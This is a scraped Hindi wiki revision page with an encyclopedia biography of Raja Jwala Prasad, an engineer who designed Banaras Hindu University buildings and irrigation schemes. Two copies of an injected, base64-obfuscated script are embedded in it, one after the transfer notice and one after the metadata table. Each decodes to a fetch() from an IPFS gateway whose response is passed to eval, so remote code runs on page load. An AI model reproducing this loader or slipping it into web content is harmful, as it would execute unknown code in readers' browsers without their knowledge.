"ज्वालाप्रसाद" के अवतरणों में अंतर
[अनिरीक्षित अवतरण] | [अनिरीक्षित अवतरण] |
Bharatkhoj (चर्चा | योगदान) |
Bharatkhoj (चर्चा | योगदान) |
||
पंक्ति १: | पंक्ति १: | ||
+ | {{भारतकोश पर बने लेख}} | ||
{{लेख सूचना | {{लेख सूचना | ||
|पुस्तक नाम=हिन्दी विश्वकोश खण्ड 5 | |पुस्तक नाम=हिन्दी विश्वकोश खण्ड 5 |
१३:१२, २ अगस्त २०१४ के समय का अवतरण
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ज्वालाप्रसाद
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 5 |
पृष्ठ संख्या | 78 |
भाषा | हिन्दी देवनागरी |
संपादक | फूलदेवसहाय वर्मा |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1965 ईसवी |
स्रोत | जरनल ऑव दि इंस्टिट्यूशन ऑव इंजीनियर्स (इंडिया), अंक ९, जिल्द ४४, खंड हिंदी एच. आई., ३ अगस्त, १९६४। |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | अजितनारायण मेहरोत्रा |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ज्वालाप्रसाद (राजा) प्रसिद्ध, भारतीय इंजीनियर एवं काशी हिंदू विश्वविद्यालय के प्रत्युकुलपति (सन् १९३६) थे। इनका जन्म १८७२ ई. में बिजनौर जिले के मंडवार कस्बे में हुआ था। टॉमसन सिविल इंजीनियरिंग कॉलेज, रुड़की, से आपेन इंजीनियरी की परीक्षा प्रथम श्रेणी में उत्तीर्ण की और सर्वप्रथम रहे। सर्वप्रथम स्थान प्राप्त करने के कारण इन्हें कौंसिल ऑव इंडिया तथा टॉमसन पुरस्कार और गणित में प्रथम होने के कारण काटेल स्वर्णपदक मिला।
आपने प्रथम और द्वितीय दिल्ली दरबार की तैयारियों में कार्य किया। कुछ दिनों तक आपने पटियाला राज्य में कार्यपालक इंजीनियर के पद पर कार्य किया। यहाँ पर आप आर्यसमाज सभा के अध्यक्ष भी थे। १० अक्टूबर, १९०९ ई., को पटियाला में राजद्रोह के अपराध में गिरफ्तार कर लिए गए और इन्हें पटियाला छोड़ने की आज्ञा दी गई। पर बाद में इन्हें निर्दोष घोषित किया गया और उत्तर प्रदेश सरकार ने इन्हें फतेहपुर का कार्यपालक इंजीनियर नियुक्त किया। काशी हिंदूविश्वविद्यालय के भवनों के निर्माण के लिये सन् १९१६ में इनकी सेवाएँ प्रतिनियुक्ति (डेप्युटेशन) पर माँग ली गई थीं। विश्विविद्यालय के भवनों पर भारतीय स्थापत्य का जो प्रभाव दृष्टिगत होता है वह सब इन्हीं की सूझबूझ का परिणाम है।
१९२४ ई. में इन्होंने जलविद्यत् एवं नलकूप योजनाएँ बनाईं और वे सरकार द्वारा स्वीकृत कर ली गईं। शारदा नहर योजना में भी इन्होंने योगदान दिया। आपने ही काली नदी तथा रामगंगा से जलविद्युत् द्वारा पानी चढ़ाने का विचार विकसित किया था।
उत्तर प्रदेश के मुख्य इंजीनियर तथा सिंचाई विभाग के सहसचिव पद पद छह वर्षों तक कार्य करने के पश्चात् १९३१ ई. में आप सरकारी सेवा से निवृत्त हुए। सरकार ने सन् १९३२ में इन्हें राजा की उपाधि से विभूषित किया। इसके बाद इन्होंने अपना बहुत समय कृषिकार्य और चीनी उद्योग में लगाया। गंगा और मालिनी नदी के संगम पर धपुर्मर नगरी की स्थापना की और उसे सभी आधुनिक सुख सुविधाओं से परिपूर्ण बनाया। अनेक प्रकार के उन्नत बीज इन्होंने तैयार किए। काशी हिंदू विश्वविद्यालय के अर्थसचिव और प्रत्युपकुलपति पद पर रहकर, आपने इसकी चिरस्मरणीय सेवाएँ की थीं। काशी के मणिकर्णिका तथा हरिश्चंद्र घाट के सुधार में इनका महत्वपूर्ण योगदान था। उत्तर प्रदेश के अनेक सार्वजनिक भवनों के निर्माण में इनका हाथ था। १६ सितंबर, १९४४ ई. को इनका देहावसान हो गया।